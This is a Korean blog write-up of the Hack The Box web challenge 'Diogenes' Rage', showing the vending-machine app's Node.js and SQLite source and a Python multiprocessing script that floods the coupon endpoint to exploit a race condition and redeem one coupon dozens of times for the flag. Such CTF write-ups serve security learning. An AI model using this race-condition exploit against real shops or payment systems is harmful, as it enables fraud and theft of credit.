ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] Diogenes' Rage Writeup
    Wargame/Hack The Box 2023. 5. 4. 20:20

     

    주어진 페이지를 들어가보니 자판기처럼 꾸며놓은 페이지가 나타났다.

     

    주어진 소스코드를 분석해보자.

    // index.js
    const fs             = require('fs');
    const express        = require('express');
    const router         = express.Router();
    const JWTHelper      = require('../helpers/JWTHelper');
    const AuthMiddleware = require('../middleware/AuthMiddleware');
    
    let db;
    
    const response = data => ({ message: data });
    
    router.get('/', (req, res) => {
    	return res.render('index.html');
    });
    
    router.post('/api/purchase', AuthMiddleware, async (req, res) => {
    	return db.getUser(req.data.username)
    		.then(async user => {
    			if (user === undefined) {
    				await db.registerUser(req.data.username);
    				user = { username: req.data.username, balance: 0.00, coupons: '' };
    			}
    			const { item } = req.body;
    			if (item) {
    				return db.getProduct(item)
    					.then(product => {
    						if (product == undefined) return res.send(response("Invalid item code supplied!"));
    						if (product.price <= user.balance) {
    							newBalance = parseFloat(user.balance - product.price).toFixed(2);
    							return db.setBalance(req.data.username, newBalance)
    								.then(() => {
    									if (product.item_name == 'C8') return res.json({
    										flag: fs.readFileSync('/app/flag').toString(),
                                            // ##### ..... (1)
    										message: `Thank you for your order! $${newBalance} coupon credits left!`
    									})
    									res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
    								});
    						}
    						return res.status(403).send(response("Insufficient balance!"));
    
    					})
    			}
    			return res.status(401).send(response('Missing required parameters!'));
    		});
    });
    
    router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
    	return db.getUser(req.data.username)
    		.then(async user => {
    			if (user === undefined) {
    				await db.registerUser(req.data.username);
    				user = { username: req.data.username, balance: 0.00, coupons: '' };
    			}
    			const { coupon_code } = req.body;
    			if (coupon_code) {
    				if (user.coupons.includes(coupon_code)) {
    					return res.status(401).send(response("This coupon is already redeemed!"));
    				}
    				return db.getCouponValue(coupon_code)
    					.then(coupon => {
    						if (coupon) {
    							return db.addBalance(user.username, coupon.value)
    								.then(() => {
    									db.setCoupon(user.username, coupon_code)
    										.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
    								})
    								.catch(() => res.send(response("Failed to redeem the coupon!")));
    						}
    						res.send(response("No such coupon exists!"));
    					})
    			}
    			return res.status(401).send(response("Missing required parameters!"));
    		});
    });
    
    router.get('/api/reset', async (req, res) => {
    	res.clearCookie('session');
    	res.send(response("Insert coins below!"));
    });
    
    module.exports = database => {
    	db = database;
    	return router;
    };

    (1) 부분과 같이 "C8" 물건을 구입하면 플래그가 주어진다.

     

    하지만, /api/coupons/apply 부분을 보면, 쿠폰은 최대 1번만 구입 할 수 있으며 쿠폰 등록시 충전되는 금액은 1$ 이다.

    (플래그의 가격은 $13.37 이다.)

     

    * 참고

    // database.js
    const sqlite = require('sqlite-async');
    
    class Database {
    	constructor(db_file) {
    		this.db_file = db_file;
    		this.db = undefined;
    	}
    	
    	async connect() {
    		this.db = await sqlite.open(this.db_file);
    	}
    
    	async migrate() {
    		return this.db.exec(`
                DROP TABLE IF EXISTS userData;
    
                CREATE TABLE IF NOT EXISTS userData (
                    id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                    username   VARCHAR(255) NOT NULL UNIQUE,
                    balance    DOUBLE NOT NULL,
                    coupons   VARCHAR(255) NOT NULL
                );
    
                DROP TABLE IF EXISTS products;
    
                CREATE TABLE IF NOT EXISTS products (
                    id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                    item_name   VARCHAR(255) NOT NULL,
                    price   DOUBLE NOT NULL
                );
    
                INSERT INTO products (item_name, price) VALUES ("A1", 0.55);
                INSERT INTO products (item_name, price) VALUES ("A2", 0.35);
                INSERT INTO products (item_name, price) VALUES ("A3", 0.25);
                INSERT INTO products (item_name, price) VALUES ("B4", 0.45);
                INSERT INTO products (item_name, price) VALUES ("B5", 0.15);
                INSERT INTO products (item_name, price) VALUES ("B6", 0.80);
                INSERT INTO products (item_name, price) VALUES ("C7", 0.35);
                INSERT INTO products (item_name, price) VALUES ("C8", 13.37);
                INSERT INTO products (item_name, price) VALUES ("C9", 0.69);
    
                DROP TABLE IF EXISTS coupons;
    
                CREATE TABLE IF NOT EXISTS coupons (
                    id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                    coupon_code   VARCHAR(255) NOT NULL,
                    value   DOUBLE NOT NULL
                );
    
                INSERT INTO coupons (coupon_code, value) VALUES ("HTB_100", 1.00);
            `);
    	}
    
    	async registerUser(username) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('INSERT INTO userData (username, balance, coupons) VALUES ( ?, 0.00,  "")');
    				resolve((await stmt.run(username)));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async getUser(user) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('SELECT * FROM userData WHERE username = ?');
    				resolve(await stmt.get(user));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async setBalance(username, balance) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('UPDATE userData SET balance = ? WHERE username = ?');
    				resolve(await stmt.get(balance, username));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async getProduct(item) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('SELECT * FROM products where item_name = ?;');
    				resolve(await stmt.get(item));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async getCoupons() {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('SELECT * FROM coupons;');
    				resolve(await stmt.all());
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async getCouponValue(coupon_code) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('SELECT value FROM coupons WHERE coupon_code=?;');
    				resolve(await stmt.get(coupon_code));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async addBalance(user, coupon_value) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
    				resolve((await stmt.run(coupon_value, user)));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    	async setCoupon(user, coupon_code) {
    		return new Promise(async (resolve, reject) => {
    			try {
    				let stmt = await this.db.prepare('UPDATE userData SET coupons = coupons || ? WHERE username = ?');
    				resolve((await stmt.run(coupon_code, user)));
    			} catch(e) {
    				reject(e);
    			}
    		});
    	}
    
    }
    
    module.exports = Database;

     

    소스코드의 다른 부분을 분석해봤을때 크게 취약점이 있을만한 부분이 보이지 않았기 때문에 쿠폰 발급 요청시 검증 로직을 우회해서 여러번 쿠폰을 등록시키고, 플래그를 구매하는 시나리오가 가능할지 파악해보았다.

     

    쿠폰 등록 요청 로직과 쿠폰 처리 로직이 모두 asynk로 구현되어있었기 때문에 Race Condition 공격을 해보기로 했다. 쿠폰 등록 요청한것이 처리되기전에 플래그 가격 이상의 요청이 동시에 들어온다면, 검증로직에 반영되기 전에 여러번 쿠폰이 등록되어 플래그를 구매 할 수 있을것이다.

     

    아래와같이 멀티스레드를 통해서 Race Condition 공격을 수행해보았다.

    #import threading
    import multiprocessing
    import requests
    
    def worker(num):
        #"""작업을 수행하는 스레드 함수"""
        #print('Worker %d started' % num)
        # 스레드에서 수행할 작업
        headers = {
            'Host': '157.245.38.221:30000',
            'Cache-Control': 'max-age=0',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
            # 'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
            'Connection': 'close',
            'Content-Type': 'application/json',
            # 'Content-Length': '29',
        }
    
        cookies = {
            'session':'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InR5bGVyX2I2MDhiODg1ZjciLCJpYXQiOjE2ODMxNzMxNzN9.dMpcYJIcfJPjti9ClHMKyHc4CZ6vae4E25AzZiWYisw'
        }
    
        json_data = {
            'coupon_code': 'HTB_100'
        }
    
        response = requests.post('http://157.245.38.221:30000/api/coupons/apply', headers=headers, cookies=cookies,json=json_data, verify=False)
        #print(response.headers['Set-Cookie'])
        res = response.text
        if 'successfully' in res :
            print(res)
    
    
    threads = []
    
    
    for i in range(50):
        #t = threading.Thread(target=worker, args=(i,))
        t = multiprocessing.Process(target=worker, args=(i,))
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()
    
    print('All threads finished')

    시나리오 자체는 유효한 듯 했으나, 파이썬으로 작성한 ex코드로는 최대 5~6번까지만 등록이 가능했다.

     

    더 강력하게 멀티스레딩을 할 수 있는 방법이 있을까 찾아보다가 burp suite extention 중 "turbo intruder" 라는 것이 있어서 사용해보았다.

     

    아래와 같이 셋팅하고 공격 시도 후,

    공격에 시도되었던 것과 같은 세션으로 플래그를 구매하니 구매가 가능함으로써 플래그를 획득 할 수 있었다.

    (잔액이 19$정도 되는 것을 보니 33번정도 성공이 된 것 같다)

     

     

     

    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] Neonify Writeup  (0) 2023.05.19
    [HTB] Precious Writeup  (0) 2023.05.02
    [HTB] AbuseHumanDB Writeup  (0) 2023.04.28
    [HTB] petite rcbee Writeup  (0) 2023.04.25
    [HTB] Toxic Writeup  (0) 2023.04.21

    댓글

Designed by Tistory.